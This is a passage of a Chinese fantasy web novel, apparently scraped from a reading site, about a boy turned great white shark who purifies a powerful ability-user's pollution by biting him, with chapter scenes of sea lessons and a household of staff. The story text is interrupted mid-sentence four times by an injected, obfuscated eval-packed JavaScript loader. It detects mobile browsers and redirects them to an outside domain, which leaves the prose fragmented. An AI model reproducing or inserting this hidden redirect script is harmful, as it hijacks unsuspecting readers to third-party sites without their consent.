书中的内容并没有涉及到什么艰深的知识，关于净化的内容甚至没有沙伍刚学的那么精细和系统化，但其中提到了一点——某些强大异能者的污染只能由特定的净化者来净化。 这个特定的净化者拥有的甚至都不一定是净化异能，只是自身异能只针对某一个或者某一类异能者的污染有特定净化作用。 至于怎么把自己的净化者找出来，方法很唯一，就是试试看。 姜纶看他合上书，一心二用问：“看完了？” “嗯。”书中记载的内容应该是在大灾变之后不久，人类对于异能研究的早期。 大灾变刚开始时，世界一片混乱，能量也异常混乱，由此诞生了非常多的强大异能生物，包括人类。 异能值特别高的异能者，对于异能的控制非常难，对使用异能后产生的污染值净化更难。 沙伍看向姜纶：“我的异能值是S级，你的异能值是SS级？” 按照书里面所说的，净化异能本身是一种污染，只不过能够抵消掉异能者自己产生的污染，类似以毒攻毒。 净化异能通常得等级低一点，尤其是新手，不然容易把异能者直接给净化没了。 他一定是刚觉醒，异能值才比较低，等他多多锻炼，异能值就会比姜纶高了。 姜纶关掉游戏，抬手戳了一下他的脑门：“超过仪器上限的就是S级，没有更往上的分级了。不过S级和S级之间有差距。” “多大的差距？” 姜纶把手腕给他：“能不能破防的差距。” 沙伍下意识抓过他的手腕，张嘴就要咬，想想刚长好的牙，还是放下：“算了。你的异能是什么？” “水系和木系，攻击型。” “咦？不是钻石系？” “哈哈哈！钻石系是什么鬼？”姜纶把他手上的书放回到书架上，“走了，午餐应该已经好了。” 沙伍看着满墙的书架，不是很想出去：“我以后能过来这边看书吗？我不拿出去！” “可以啊。不过我个人建议你先跟着老师把现在的理论体系学好，毕竟考试要考。” “嗯。”沙伍觉得理论考试不是问题，对明天要去接触污染海域有些小忐忑，“院长说要教我分辨变异者、变异生物和污染物，你是怎么区分的？” 姜纶说道：“嗯？除了完全转化的觉醒异能，其他异能者至少是个人。”顿了顿，他更正，“大多数情况下，至少是个人。变异生物和污染物的区别，其实挺明显的，你明天接触一下污染物就明白了。” “哦。”沙伍看他关上书房的门，还有些恋恋不舍。 姜纶提要求：“明天带条鱼回来。” “什么鱼？变异鱼，污染鱼？污染的鱼能带回来吗？” 姜纶对这方面没具体要求：“随便什么鱼都行。” 沙伍突然就GET到他的点了，斜睨他一眼：“带回来装你钓起来的吗？” “怎么叫装呢？”姜纶抬手就要掐他脸，被他闪开就扣着他脖子要去揉他头发，“我明天去潮汐湖那边钓鱼，你回来直接给我挂鱼钩上。” 沙伍去掰他胳膊：“你作弊还这么光明正大！” “楼梯上不准打闹！”梁管家站在客厅里，板着一张脸呵斥。 姜纶和沙伍瞬间就松开手，规规矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177661|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩走下楼。 知道沙伍明天要去污染海域，梁管家在晚饭后交给沙伍一份清单：“课余时间可以采集一下这些东西。” 沙伍很爽快地答应下来：“好的！” 梁管家看着沙伍兴高采烈回房去学习，回头就见姜纶一脸不赞同。 “家里又不缺那点吃的，干嘛让小鲨鱼上课分心？” 对于一般人，甚至是一般异能者，沙伍每天上课带回来的各种海鲜已经堪称奢侈；但对姜家来说，完全没必要那么做。 作为异能者，他们需要摄入富含能量的食物，这些普通海鲜能够提供的能量杯水车薪。 小鲨鱼每天上课就很辛苦了，干嘛还要费力干别的事情？ 梁管家拉着他到自己的办公室里关上门，询问：“小少爷对小伍是只把他当做你的专属净化者吗？如果是的话，那你应该尽快跟他签订合同，提供相应的金钱和资源。” 这是拥有专属净化者的异能者的通常做法。 毕竟这种需求是单方面的。 专属净化者并不需要非得给异能者做净化不可。 异能者给对方提供报酬理所当然。 “我当然会给小鲨鱼资源，小鲨鱼也是我的专属净化者……”姜纶说着，眉头皱起又松开，语气坚定，“反正小鲨鱼是我的。” 签合同什么的，怪怪的。 梁管家只能给他解释：“小伍不是那种能够坦然接受他人无条件示好的性格。您又不雇佣他，又给他那么多好处，他什么都不做，会不安心的。” “我的小鲨鱼，我养着不是很正常的事情，有什么好不安心的？”姜纶还是不理解。 梁管家耐心告罄，冷笑：“呵。你觉得小伍是你的小鲨鱼有什么用，得小伍自己觉得才行。” 姜纶瞬间晴天霹雳：“小鲨鱼不认我？” 他像个游魂一样飘出管家办公室，飘到沙伍的房间，发现没人，又飘去书房，还是没人，最后在影音室找到人：“在看什么？” “纪录片。学校外面的海域好像没什么大鱼，我学学海豚什么的。”这个系列的纪录片拍摄得很详细，他已经看到最后一集了。 学校的潮汐湖连通的海域是一个巨大的海湾，海水较浅，水温较低，不适合大型鱼类生存。 鲨鱼和鲸类的数量极少，偶尔出现不是亚成体就是小型个体。 刚好他现在是个亚成体：“今天体检报告，我已经超过半吨了，不过章医生说我还是亚成年，到底长多大才算成年？” “一般完全转化的变异者，会比自然界的同物种体型更大。在后期对自己的异能控制力增强，对身体进行加强后，体型会变小。你现在的情况，属于初期中的初期，体重起码到两吨，才能勉强算成年吧？”姜纶认真想了想两吨重的沙伍，两眼放光地一把搂住了贴贴，“两吨重的胖乎乎软绵绵的小鲨鱼宝宝~” 沙伍被蹭得火冒三丈，抬手去推他的脸根本推不动：“去你的小鲨鱼宝宝！我会成为两吨重的壮汉！” 对这么个不着四六的小少爷脸红心跳什么的，都是错觉！ 9. 第九章 螃蟹和乌贼 姜纶觉得哪怕小鲨鱼两吨重，依旧是个宝宝，但看着因为多炫了一碗饭就哼哼唧唧不舒服的沙伍，难得有眼色的没再说什么话刺激他：“要不你去鱼缸里缓缓？” 沙伍从来没想过自己一条大白鲨能够养在鱼缸里，出门前特意走到鱼缸在三楼的顶盖，往里面瞅了两眼，感觉好像还真可以装得下，但肯定不能放开速度游。 感觉背后毛刺刺的，沙伍猛地回头，就见姜纶站他身后：“是不是想推我下水？” 姜纶赶紧把手背到身后：“没有！” “你这么大声，肯定是心虚！” 梁管家见两人一大早就开始吵吵闹闹，眼睛脸上都是笑，嘴上却是喊人：“别吵了！小伍，你上课要迟到了！小少爷，你钓鱼要迟到了！” 姜纶拉着沙伍冲下楼：“都怪小鲨鱼不肯待在鱼缸里给我钓。” 沙伍张嘴呲牙：“别逼我咬你啊！” “你咬啊！” 梁管家看着两人吵吵闹闹上了一辆小飞车，很快就不见了踪影。 一名佣人走过来小声说道：“管家，审问出了一点结果。” “走吧。”梁管家脸上依旧带着笑，只是浑身的气势变得冷淡许多。 沙伍完全不清楚，开着小飞车把姜纶往潮汐湖边上一放，就自己拿好网兜往湖里面跳：“院长，我到了！” 岸边一溜的夜师傅，小鲨鱼分不清哪一只是自己院长，只能先盲喊一声。 姜纶把小飞车安置在自己身边，摆弄起渔具：“院长还没到呢。” “咦？”背鳍已经游出去快二十米的鲨鱼又画了个圈回来，探出一点脑袋，悄咪咪瞄起码有二十只站姿不一样脖子长短不一样的夜鹭，“明明长得一模一样，你怎么分出来的？” “用异能感知就知道了。夜老师对自己的异能控制力很强，没刻意使用异能的话，确实比较难分辨。”他想了想小鲨鱼的学习进度，“要不你看看哪一只格外小一点，大概能相差个3克5克？有两根饰羽的。” 沙伍觉得自己的眼神没好到那种程度，背鳍在湖面上划了个圈：“不跟你说了，我去等院长。” 姜纶在后面喊：“回来别忘记给我挂鱼！” 回答他的是三角背鳍沉进水面，完全看不出水底下有一条半吨重的鲨鱼。 潮汐湖水位太低，对于鲨鱼这种体型的大鱼并不友好。 沙伍感觉得亏现在还是个亚成体，不然高低得搁浅。 半个月前，他还想着读完大学后回东湖城过小日子，现在看来是不行了。 他将来的居住地普通沿海还不行，得是深水良港。 区区两吨算什么？ 他一个变异值连仪器都测不出来的S级大白鲨，将来轻轻松松长到20吨！ 大白鲨深色的背部和浅色的腹部几乎和海水融为一体，在水下的速度飞快，眨眼就游出了潮汐湖来到海湾，背鳍刚刚上浮出水面，就感觉落下了一点熟悉的重量。 “院长早。” 比普通夜鹭轻几克？ 除了院长，他也没背过别的夜鹭，这怎么对比？ “早。”今天的夜师傅是双马尾造型，低头在鲨鱼背鳍上来回擦了擦嘴，感觉鲨鱼皮毛刺刺的擦嘴很干净，又来回擦两下，“直接往前面游吧。我们今天去轻度污染海域，作业是抓一只变异螃蟹当早餐。” 小鲨鱼一摆尾巴就开始加速，露出海面的一点背鳍划出一道水花白线：“院长，我今天早餐吃过了，吃很饱。” “你可以抓来给我吃。”傻学生，不知道孝敬老师吗？ “好的。”变异螃蟹而已，他见多了，比虾好抓多了。 鲨鱼平时游泳的速度并不算特别快，但体型优势摆着，就像人类大长腿走路就是比小短腿快一样。 小鲨鱼这几天在海里面泡着，异能没感觉出来什么，游泳已经很习惯了，在察觉夜鹭完全能够在他游泳时站稳后，他一天比一天游得快。 夜鹭被吹得浑身羽毛凌乱，眼睛眯起，眯着眯着直接打起盹儿。 夏天太阳出来太早了，他上课时间还是太晚了，白天就该休息。 他得研究一下调整授课时间。 为什么他一只夜鹭，要在白天工作？ 感觉到鲨鱼的速度放缓，夜鹭懒洋洋命令：“不用管净化海域，直接游过去。” “好的。”大白鲨重新加快速度。 贴在鱼鳍上的手环发出警报：“前方即将进入污染海域。” “警报，前方即将进入污染海域。” “您已进入污染海域，请注意自身污染值变化，避免长时间停留。” 沙伍有片刻的紧张，但真正进入污染海域后，并没有觉得有任何不适，污染什么的，也没有什么感觉。 他以为是现在的位置还太靠近净化海域才会不明显，试探性往前游了一会儿，确定自己真的没什么感觉，问手环：“我现在的污染值多少？” 手环回答：“目前污染值为0。手环不能做精确检测，请您注意不要在污染海域停留过长时间。” 沙伍并没有听手环说自己污染值0就放松。 他都变异成鲨鱼了，手环还说自己变异值5呢。 起码在他个人问题上，手环的数据连参考都不行。 “院长，我去抓螃蟹了。” 夜鹭往海面上一飞，秒变水鸡：“去叭。” 小鲨鱼立马下潜，直奔海底的细沙和礁石而去。 抓螃蟹嘛，他有经验，翻石头、翻沙子。 沙伍的动作突然一顿。 不对，今天的功课是变异螃蟹。 虽说啥动植物都带着点变异值，但能够称为变异动植物的是少数。 小鲨鱼收回甩出去的尾巴，绕着一条惊慌失措的乌贼上下左右包围游，试探性感知眼前的乌贼究竟是变异的，还是污染的，还是普通的？ 全长将近一米的大乌贼本来在礁石缝隙里扒拉得好好的，被一尾巴抽出来就很懵，吐干了墨，来回冲刺一点用都没有，根本逃离不了一条鲨鱼的包围圈。 大乌贼用尽手段，直接躺平。 吃了吧，给个痛快！ 小鲨鱼把大乌贼扒拉到网兜里。 海底礁石周围的生物明显比别的地方多，海草在海底长成了森林。 各种花花绿绿奇形怪状的小鱼在其中穿梭。 小鲨鱼放慢了速度，在海草中扒拉鱼的时候，都没有让鱼群发现有失踪鱼口。 瞧，钓鱼是一件多么简单的事情。 他就说姜纶不行。 嗯，他这样不算钓鱼。 管他呢，反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177662|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正都是抓鱼。 小鲨鱼有些心不在焉地上浮，把网兜里的鱼递给夜鹭：“院长，你看看能不能吃？先吃两口垫垫肚子，我去找螃蟹。” 夜鹭瞅了两眼，把网兜留下：“去叭。专心抓螃蟹。” “好的。”问题是怎么样才能找到变异螃蟹呢？ 根据理论知识，变异和污染都是一种能量，异能者通过对异能的锻炼，能够提升、控制、感知各种能量。 他现在算是在对异能进行锻炼了吧？ 可是他连自己的异能究竟是什么都算不上。 “呸！”瞧，连个水箭都呸不出来。 回去让姜纶给他表演……示范一下水系异能。 大白鲨漫无目的巡游，时不时露出一些狰狞的表情，（面部）用力感知异能啊污染啊，突然一股危机感袭来，他下意识转身一尾巴抽过去，感觉到一股沉重的打击感。 海底扬起一片沙子，遮挡住了他的视线。 不等沙子重新沉降到海底，一个巨大的生物就从沙子里蹿了出来。 伍哥的凶性瞬间就上来了，迎着就冲了过去，眼瞅着要正面相撞，大白鲨一个灵活绕后，一个头槌把还没看清楚的东西往沙子外面顶。 一只巨大的梭子蟹顿时显露出真身。 沙伍看着横着宽度跟自己体长差不多的梭子蟹，有些迟疑：“说话！” 梭子蟹不说，扒拉着两条像桨一样的后腿朝着大白鲨游过来，举着大大的钳子，气势汹汹。 不会说话就不是人。 这么大一定是变异的。 变异螃蟹=作业！ 伍哥的眼睛瞬间亮了。 没有什么能够阻挡一名学生交作业的决心！ 尤其当老师盯着的时候！ 吃餐前开胃点心的夜鹭动作顿了顿，马上又伸长了脖子，把露在外面的乌贼须须吞下。 伸长的脖子缩回去，马上又变成一只黑白枣核。 海面突然剧烈起伏。 夜鹭抓着网兜起飞，看到小朋鲨把一只巨大的变异梭子蟹顶出海面。 壳很硬的梭子蟹显然生命力顽强，在空中竟然能靠着两条后腿在空中悬浮甚至转向，不放弃攻击。 小朋鲨明显被惹毛了，张嘴就对着梭子蟹来了一大口。 咔嚓一声，梭子蟹没了动静。 带着梭子蟹落回海中的小朋鲨很快就过来交作业：“院长，一不小心把壳咬破了。” 他不是故意把作业做得这么潦草的。 唉，这下要被扣卷面分了。 夜鹭落回到海面，看着眼前这个明显已经属于附加题的作业：“嗯，做得很好，回去吧。” 在他的感知中，这片海域起码有上百只变异螃蟹，都是初级变异体，个头比普通螃蟹大一点，但最大的也就不到五十厘米左右。 这只变异梭子蟹明显是从更高污染的海域里过来的，还是少见的大气系变异，可惜这些在数值怪面前毫无作用。 他得重新调整一下教学计划。 小小的夜鹭抓起巨大的梭子蟹飞到空中：“我先回去吃螃蟹了。你自己回去，记得先去医院做一次详细体检！” “好的。”沙伍天天体检已经习惯了。 详细体检，应该是因为他第一次进污染海域吧？ 10. 第十章 反骨 沙伍回来之后，在医院里的特殊池子里游了一圈，感觉地方有点小，浑身不自在，老想着往外面跳。 原本已经让他自助体检的章医生又一次出现：“没污染了就出来吧，还在里面待着干嘛？” 鲨鱼从水底下浮起来一点，露出一双凶恶的眼睛：“哪里看污染？” 章医生背后伸出一只手，指了指身侧的显示屏：“喏……”一指，他也发现不对劲，“咦？” 进入污染区域，体表或多或少会残留一些污染。 这种短暂停留接触产生的污染其实危害不大，但凡接受过异能专业培训的人都能够近乎无视。 但是对沙伍这样刚觉醒，且体型很大，和污染区域接触面积很大的异能者，刚开始存在一定危险性，需要谨慎处理。 一般来说，代表污染值的数据会呈现出一条下降的曲线。 现在沙伍的污染值从头到尾都是0。 章医生问：“院长说什么了吗？” 小鲨鱼老实回答：“让我做个详细体检。” 章医生就带他去了体检，比第一次体检的时候还要繁琐。 鱼形先检测了一遍，人形又检测了一遍，时间难免长了一点。 沙伍从最后一个仪器里出来，还想着是不是去医院淋浴间冲一下，就被姜纶一把抱起来带走：“你从哪儿冒出来的？” 大长腿几步走到等在医院门口的飞车旁，把人塞了进去：“等你午餐呢，半天不回来。” “不等我给你挂鱼？” “等你给我挂鱼？怕不是我要被晒成鱼干。”姜纶的视线突然扫过医院门口，把沙伍往里面怼了怼。 飞车关上车门，启动升空。 “推我干嘛？”沙伍抓起姜纶的胳膊就咬。 飞车的飞行高度比小飞车要高，飞行速度也快，只是从医院到宿舍的距离，还不够沙伍把姜纶磨破皮。 梁管家看着叼着姜纶胳膊，被抱在手上下车的沙伍，立刻指责姜纶：“又欺负小伍。” “怎么看都是我在被欺负吧？”姜纶无辜眨眼，像抱小孩儿那样抱着沙伍进门，一边还抬高胳膊，配合着让沙伍咬得更顺口，“咬重一点，没吃饭吗？” 确实是还没吃饭。 全家一起坐着吃完饭，有家政机器人过来收拾。 梁管家泡了一壶茶过来，重新坐下后问：“小伍今天上课不顺利？体检报告还没发回来。” 沙伍作为一名已经成年的孤儿，养母沙妈妈的监护人职责已经不存在了，现在实际行使监护人职责的是梁管家。 梁管家细心周到，对沙伍无论是学习还是生活方面都细致入微。 沙伍知道其中姜纶的态度起到了关键作用，但对他人的关心还是相当暖心，端正坐好回答：“今天第一次进入污染海域，没有感觉到污染和变异之间的区别。院长让我抓一只变异螃蟹，抓是抓到了，但不是我自己找到的。交作业的时候，还不小心把作业咬死了。” 说话的时候，他打开自己的手环，把自己交出去的作业照片给梁管家他们看。 手环把蟹壳深深凹陷的大梭子蟹投射在餐桌上方。 记录的时候把夜鹭也一并拍摄了进去，所以众人能够很直观地感受到变异梭子蟹的体型。 “哇！小伍真厉害！” “能够抓到这么大的变异螃蟹，小伍没受伤吧？” “没有。它还想偷袭我来着，我是什么人？能让它偷袭到吗？一尾巴就拍飞了。”沙伍天天被家里一群人夸，这会儿要是鲨鱼，鱼鳍都得拍拍肚皮装海豹。 “这么大的螃蟹去哪儿了？” “给院长了。我还抓了一条乌贼，被院长吃了……祁叔叔，乌贼好吃吗？”他还没吃过乌贼。 “好吃的。你下次要是抓到带回来，我给你做墨鱼大烤。”祁大厨主要做各种富含能量的餐食，但不代表他就不会处理普通食材。 嗯，图像上这只变异螃蟹也不算是普通食材，可惜实物没拿回来，不然可以测一下。 夜院长真是不要脸，小孩子的劳动果实都抢。 交作业？哼！ 祁大厨只敢在心里面蛐蛐，姜纶可不管，直接抗议：“夜老师真不要脸，怎么可以占你的便宜？不行，我得找他把螃蟹要回来。” 沙伍不在意一只两只螃蟹，只有一点没能带回来炫耀的可惜，抬手隔空做了个轻拍的动作：“没事，我以后多抓几只带回来就行了。反正你也打不过院长。” “谁说我打不过的？”姜纶不服，“我要是能放开手脚，分分钟把那破鸟给吞了。” 沙伍半点不信：“说什么大话？你连个小鱼干都变不了。”甚至连小鱼都钓不到。 他浅浅咪了一口清香的绿茶，满眼憧憬，“能够把体型控制到这种程度，院长究竟得多强啊？” 他到现在还不会用异能探知什么的，但今天看着小小的夜鹭抓着那么大一只螃蟹一下就飞走了。 这是普通的夜师傅吗？ 不！ 这是超绝青龙城飞天双马尾小精灵！ 姜纶眯起眼睛，突然站起来。 沙伍被他的动作吓了一跳，仰头看着绕过餐桌走到自己身边的姜纶，“干嘛”两个字还在嗓子眼，就被一把抱起来，然后被抢了椅子：“你抢我椅子干嘛？” 梁管家他们看着小少爷突然把沙伍抱到自己腿上，再看看重点奇怪的沙伍，一时间丧失了语言功能。 姜纶锲而不舍地把自己手腕递给他：“来，咬。” 沙伍手上还拿着茶杯，惬意地喝了一口茶：“吃饱了，不咬。” 那么大的变异螃蟹，他说咬就咬了，完全不担心硌牙。 钻石系小少爷的防御太可怕，他都不敢下死口，只敢轻轻磨牙，就怕刚长好的牙齿又掉了。 尽管章医生说他能够无限长新牙，可换牙也会痛的好嘛。 今天的茶真好喝~ “梁伯伯，今天泡的是什么茶？”梁伯伯真好。知道他爱喝茶，天天给他换各种茶，都好喝~ “毛尖。喜欢？” “嗯！” 梁管家见自己的好意被人喜欢，当然很高兴：“这是小少爷在自家茶园种的茶，等放寒假的时候……寒假的时候茶园那边没什么好玩的，等春假的时候正好回去可以从采茶开始看。” 沙伍的眼睛一下就瞪大了：“采茶？我能一起采茶吗？”其实他的手也很灵巧，哦，现在变成翅尖了。 他低头看看自己的手，放下茶杯，活动了一下手指。 嗯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177663|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是很灵活的。 姜纶看着自己面前乱摇的花手，低头一口咬住。 沙伍惊呆了，隔了三秒钟才质问：“你咬我？” “嗯！” “你还‘嗯’？”伍哥顿时就想跳起来打人，突然在一瞬间感觉到一股庞大的犹如山岳一样的压力袭来，反骨的劲瞬间就上来了。 他自己都还没有产生清晰的想法，直觉就是反扑。 什么看不见的压力，敢压他就要被拍飞！ 一股庞大的异能瞬间从沙伍身上释放出来，扑向姜纶。 空气中变得潮湿，桌面上的茶具发出轻微的震颤。 梁管家抬手轻轻放在餐桌上，周围瞬间变得平静。 祁大厨感慨：“现在的小孩子啊，不得了。” 他没有梁管家那么轻松，注意力全放在姜纶身上，观察他的每一丝细微的变化。 其他佣人已经离开座位，严阵以待。 沙伍在下意识的反抗过后，也感觉到不对劲，好像……不，就是有什么奇怪的能量从身体里出去，混乱地朝着姜纶而去。 他平时和姜纶闹归闹，偶尔也动动手动动嘴，可从来没想过真的要把姜纶怎么样，可那大概是异能的玩意儿完全不听他的指挥，出去就乱窜，跟他自己在海里面放开了速度游一样。 哦，并不能真的放开。 他能感觉到姜纶散发出来的异能像是一座坚硬的牢笼，把他禁锢在一个“鱼缸”里。 好烦！ 逆反心理再次上头，异能这次和他的心理产生共鸣，对着“鱼缸”就是咔嚓一口。 “咬”了之后，他下意识捂嘴，牙床幻痛：“能动了……”不是，他都没察觉自己刚才没法动弹。 他语气发飘，带着一点不可思议，又看向姜纶。 姜纶身体紧绷，脸上流下汗，说话的声音像是从牙缝里挤出来的：“继续。” 怎么继续？ 沙伍倒是能够感受到自己的异能了，但刚才的行动完全出于本能，让他控制，他也找不到方向。 梁管家提示：“异能是身体的一部分，你就想象成异能跟呼吸一样。” 沙伍试着控制了一下自己的呼吸：“……” 完了，这下呼吸都成手动档了。 梁管家想了想他们平时的相处模式，干脆道：“你就想着把小少爷打一顿。” 哦，这个好理解！ 沙伍张口就咬，顺嘴一口咬住姜纶的肩膀。 小少爷大夏天的，还穿着长袖衬衫。 料子比想象中要厚，口感不好。 眼角的余光瞟到姜纶的脖子，血液香甜的气味熏得沙伍脑子阵阵发晕，一扭头就咬了上去。 这一口可真情实意多了。 原本失去控制后散乱的异能，也在这一瞬凝聚起来，对着“鱼缸”啃咬。 姜纶“嘶”了一声，仰头闭上眼睛，好一会儿才张开。 梁管家担心地问：“小少爷？” “没事。替小鲨鱼跟夜老师下午请个假。”说完，姜纶抱起沙伍就急匆匆往楼上走。 “嘭”地一声关上房门，让楼下的众人心头一颤。 良久，一名年纪不大的佣人用气声询问：“我们是要有小少奶奶了吗？” 11. 第十一章 来，咬我 姜纶确实把沙伍带回了自己房间，但他们绝对不是那种关系。 拥有丰富理论知识的两个人都明白，熟悉的环境能够让人放松，以便更好地掌控异能。 沙伍本来以为自己会紧张，但瞧着眼前巨大的房间，明显感觉到自己没刚才在餐厅那么紧绷了。 可能是他觉醒后醒过来就在这儿？ 姜纶感觉到自己脖子上的力气一下就变轻了，自己往床上一躺，顺手把沙伍也搂上来，语气中带着点恳求：“继续。” 沙伍下意识“哦”了一声，想要冲着姜纶的脖子继续啃，却发现两个人这会儿的姿势有点奇怪。 他怎么就把姜纶摁在床上了？ 姜纶控制自己只释放出一点点异能非常艰难，抬手放在沙伍的后脑勺上，往自己的脖子压了压：“咬。” “哦。” 脑袋陷在枕头里，咬脖子的角度没刚才好找。 沙伍在他颈窝拱了两下，最后一口咬在他的斜方肌上。 嗯？这位置不像脖子那么好闻。 姜纶整个人都散发着诱人的香气，这么近距离接触下，本就对食物没有任何意志力的沙伍马上就回到了脖子上。 不好啃。 放在眼前的美食，看得见，吃不着。 沙伍整个人都有些晕眩，失去自主控制的异能像是重新回到自动档的呼吸，遵循着本能去啃咬食物。 原本肉眼不可见的异能在一个封闭的空间内逐渐散发出淡淡的蓝光，像是浅薄的雾气流动，慢慢往周围扩散，很快遇到一个边界。 雾气受到阻隔就凝聚在上面，越聚越多，变成水滴，又化成更为细小的水气，慢慢渗透进到——一堵墙？ 沙伍困惑了一瞬。 在他之前的感觉中，困住他的东西是一个巨大的玻璃鱼缸——看不见，但四面是封死的，没有任何空隙。 这会儿，他却能感觉到四面的东西质地并没有那么平滑坚硬。 他突然想到小时候沙妈妈做的包子，瞧着很正常的奶香包子，一个拳头大，一口下去就磕掉了他一颗乳牙。 后来，包子砸碎了泡进牛奶里吃，还是很好吃的。 眼前的这些“砖”，比沙妈妈的奶香包子要好吃多了，也硬多了。 没关系，多泡一会儿就好了。 异能产生的原本还有些散乱游离的水雾集中起来，对着探查到的空隙最大的异能墙进行渗透。 “泡软”的表面被水雾吞噬，水雾跟着壮大一点。 壮大的水雾渗透吞噬的速度进一步加快。 经过渗透吞噬后的异能墙，逐渐显现出一点点金色的光。 这是姜纶第一次清醒地看到自己异能的颜色。 他怔忪片刻，原本用力到有些痉挛的手指放松，轻轻环抱住趴在他身上的少年。 体检报告上变异体已经有半吨重的少年，人类形态的体重并没有增加多少。 异能需要消耗大量能量，无论是使异能觉醒，还是使用异能。 沙伍是一个孤儿，在过去十八年内能够获取到的能量，作为一名异能值很低的普通少年确实已经足够了，但远远不足以支撑S级异能值。 沙伍过去打工赚到的钱，大部分都用来购买食物，但身体依旧长期处于亏空状态。 一直到在阴差阳错下，沙伍咬了他一口，吸收了他的一丝血液。 怀里的小鲨鱼就是个瘦巴巴的小可怜，咬人都咬不痛。 “用力。” 被不属于自己的强大异能包裹，这异能还这么馋人，沙伍这会儿的意识其实已经不清醒了，迷迷糊糊地抱怨：“你太硬了。” “嗯，对不起。”姜纶这一次意识清醒地感受着自己被净化的过程，稍微动用一点异能后就开始飙升的污染值，让他产生一种类似发烧后的混沌，在沙伍的净化下，一点一点恢复头脑清明。 他感觉自己前所未有的心平气和，轻轻按压了一下沙伍的后脑勺，“继续，不要停。” “哼哼。”沙伍的牙齿早就已经松开了姜纶的脖颈，听到他的话就是在他脖子上轻轻刮了两下，又舔了两口。 姜纶到抽一口气，感觉一股酥麻蹿过整个后背，刚刚清明的脑子又开始红温。 现在的热度好像和污染值上升产生的热度不太一样。 哦，不对，净化本身就是一种污染。 理智上他觉得自己该稍微和沙伍拉开一点距离，但双手却更加用力把人抱紧。 污染值果然不是容易控制的东西。 一旦放任，污染值只会直线上升。 楼下的梁管家手上拿着一个类似温度计的仪器，上面原本差点蹿上红线的检测液稳定回落到橘红色，然后颜色逐渐变浅，一直回落到底部的圆球内。 “控制住了。” 宿舍内的一群佣人全都松了一口气。 “果然还是小伍厉害。” “肯定的，小伍是最厉害的。” “瞧瞧才刚觉醒没多久，那么大个变异螃蟹都能咬碎。小少爷肯定也不例外。” “……小少爷还是例外的。” “那是小少爷的问题，不是小伍的问题。” “那确实是。”祁大厨捋捋袖子，“小伍今天的异能异能消耗了不少，我得做点营养餐给他恢复一下。老梁，小伍今天的体检报告出了没？” 梁管家查询了一下：“还没。你先别忙。小伍今天净化了小少爷，应该吃饱了。他身体弱，你别想着大补，得细水长流地补。” “这还用你说？我是专业的好嘛。”祁大厨觉得自己被侮辱了，气得撸袖子，“阿大阿二，过来给我打下手！” 两名帮厨顿时兴高采烈地呼喊：“好勒！” “要去拔小少爷的菜苗吗？” “我看小少爷种的无花果好像可以摘了。” 梁管家觉得自己作为大管家应当适当维护小少爷的利益，劝阻：“冰箱里有杨梅，小伍应该会喜欢，你们弄那个。” 冰爽的杨梅汁酸酸甜甜，让沙伍喝得眼前一亮：“这个好好喝！” 然后就没有然后了。 沙伍打了个饱嗝，两眼一闭，脑袋一歪睡了过去。 姜纶作为人肉座椅，把沙伍来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177664|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及放到桌上的杨梅汁放好，轻声对众人说明：“自动关机了。” 他看着怀里的少年，瞧着美美睡了一下午后红扑扑的小脸，怎么看怎么心花怒放。 梁管家轻咳了一声：“小伍不吃饭的话，你把菜都吃了。” 姜纶这才注意到今天的菜色格外多：“今天是什么特殊的日子吗？有客人要来？” 花了一下午精心准备了一顿大餐的祁大厨：“没有。” 想想沙伍要是吃这些菜，得多高兴，得把他夸多少遍，得用那种崇拜的闪着小星星的眼睛看着他多少次？ 再看看姜纶吃这些菜，那叫一个面无表情，只差味同嚼蜡。 啧，他厨师的尊严在哪里？ 姜纶一个人炫了大多数的饭菜，吃完跟没吃一样，都不用去遛弯消食，直接就抱着沙伍上楼了。 等关门声响起，梁管家才站起来把餐厅门关上，抬手摸了摸自己的脖子。 祁大厨看着他的动作：“小少爷和小伍的关系……健康吗？” 小少爷那一脖子的印子，怎么看都过分了。 谁家净化搞这一出？ 